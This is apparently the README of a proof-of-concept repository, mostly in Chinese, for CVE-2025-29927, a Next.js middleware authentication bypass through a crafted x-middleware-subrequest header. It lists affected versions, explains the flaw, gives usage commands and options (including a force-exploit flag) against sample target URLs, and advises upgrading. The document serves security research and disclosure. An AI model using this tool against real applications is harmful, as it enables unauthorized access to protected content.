本仓库包含 CVE-2025-29927 的概念验证(PoC),该漏洞位于 Next.js 中间件中,允许通过操纵请求头绕过身份验证和授权检查。
受影响版本:>= 11.1.4, <= 1 3.5.6, > 14.0.0, < 14.2.25, > 15.0.0, < 15.2.3
CVE 编号:CVE-2025-29927
严重性:高(CVSS: 9.1)
该漏洞存在于 Next.js 的中间件链执行过程中,攻击者可以操纵 x-middleware-subrequest 请求头来绕过中间件安全控制。通过构造特定的请求头值,中间件会被诱骗认为请求已被处理过,从而有效绕过身份验证检查。
此工具已在以下版本上测试:Next.js 15.0.0 至 15.2.2,其他版本可能需要修改。
使用以下命令安装依赖:
pip install -r requirements.txt
python poc-cve-2025-29927.py http://example.com/protected-route
usage: poc-cve-2025-29927.py [-h] [-r REPEAT] [-o OUTPUT] [--no-browser] [-f] url
PoC for CVE-2025-29927 - Next.js Middleware Bypass
positional arguments:
url Target URL to test (e.g., http://localhost:3000/admin/dashboard)
options:
-h, --help show this help message and exit
-r REPEAT, --repeat REPEAT
Number of middleware repeats in header (default: 5)
-o OUTPUT, --output OUTPUT
Output file name (default: response.html)
--no-browser Do not open result in browser
-f, --force Skip version check and force exploit attempt
python poc-cve-2025-29927.py http://localhost:3000/admin/dashboard
python poc-cve-2025-29927.py http://target-site.com/admin/dashboard -f
python poc-cve-2025-29927.py http://vulnerable-app.com/protected-page -r 10 -o result.html --no-browser
脚本首先使用多种检测方法对目标应用的 Next.js 版本进行指纹识别
如果检测到易受攻击的版本(15.0.0-15.2.2),则继续执行利用
发送带有特制 x-middleware-subrequest 请求头的请求
响应将保存到文件并分析成功标志
如果成功,受保护的内容将无需身份验证即可访问
如果您正在运行易受攻击的 Next.js 版本,请升级到 15.2.3 或更高版本以修复此漏洞。
本工具仅供教育和安全研究目的使用。请仅对您拥有或明确获准测试的应用使用。未经授权的测试可能违反适用法律。
本项目采用 MIT 许可证授权 - 详情请参阅 LICENSE 文件。